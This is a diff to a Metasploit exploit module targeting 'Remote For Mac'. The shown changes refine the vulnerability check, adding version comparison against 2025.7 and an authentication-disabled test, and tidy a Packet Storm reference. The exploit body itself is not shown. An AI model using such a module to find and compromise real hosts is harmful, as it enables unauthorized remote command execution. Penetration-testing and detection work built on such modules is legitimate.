1
- require 'json'
2
- require 'socket'
1
+ ##
2
+ # This module requires Metasploit: https://metasploit.com/download
3
+ # Current source: https://github.com/rapid7/metasploit-framework
4
+ ##
3
5
4
6
class MetasploitModule < Msf ::Exploit ::Remote
5
7
Rank = ExcellentRanking
6
8
7
9
include Msf ::Exploit ::Remote ::HttpClient
8
10
include Msf ::Exploit ::Remote ::Udp
11
+ prepend Msf ::Exploit ::Remote ::AutoCheck
9
12
10
13
def initialize ( info = { } )
11
14
super (
@@ -21,7 +24,7 @@ def initialize(info = {})
21
24
'Author' => [ 'Chokri Hammedi' ] ,
22
25
'License' => MSF_LICENSE ,
23
26
'References' => [
24
- [ 'URL ' , 'https://packetstorm.news/files/id/ 196351/ ' ]
27
+ [ 'PACKETSTORM ' , '196351' ]
25
28
] ,
26
29
'Platform' => 'unix' ,
27
30
'Arch' => ARCH_CMD ,
@@ -59,9 +62,18 @@ def check
59
62
json_body = res . get_json_document
60
63
auth_enabled = json_body . fetch ( 'requires.auth' , nil )
61
64
62
- return CheckCode ::Appears ( 'Authentication is disabled, target is vulnerable ') if auth_enabled == 'false'
65
+ return CheckCode ::Detected ( 'Remote For Mac detected, but authentication enabled ') unless auth_enabled . to_s == 'false'
63
66
64
- CheckCode ::Detected ( 'Remote For Mac detected, but authentication enabled' )
67
+ version = json_body . fetch ( 'version' ) . to_s
68
+
69
+ return CheckCode ::Unknown ( 'Could not determine target version' ) if version . empty?
70
+
71
+ target_version = Rex ::Version . new ( version )
72
+ vulnerable_version = Rex ::Version . new ( '2025.7' )
73
+
74
+ return CheckCode ::Appears ( "Detected vulnerable version #{ version } with authentication disabled" ) if target_version <= vulnerable_version
75
+
76
+ CheckCode ::Safe ( "Target version #{ version } is not vulnerable" )
65
77
end
66
78
67
79
def exploit
0 commit comments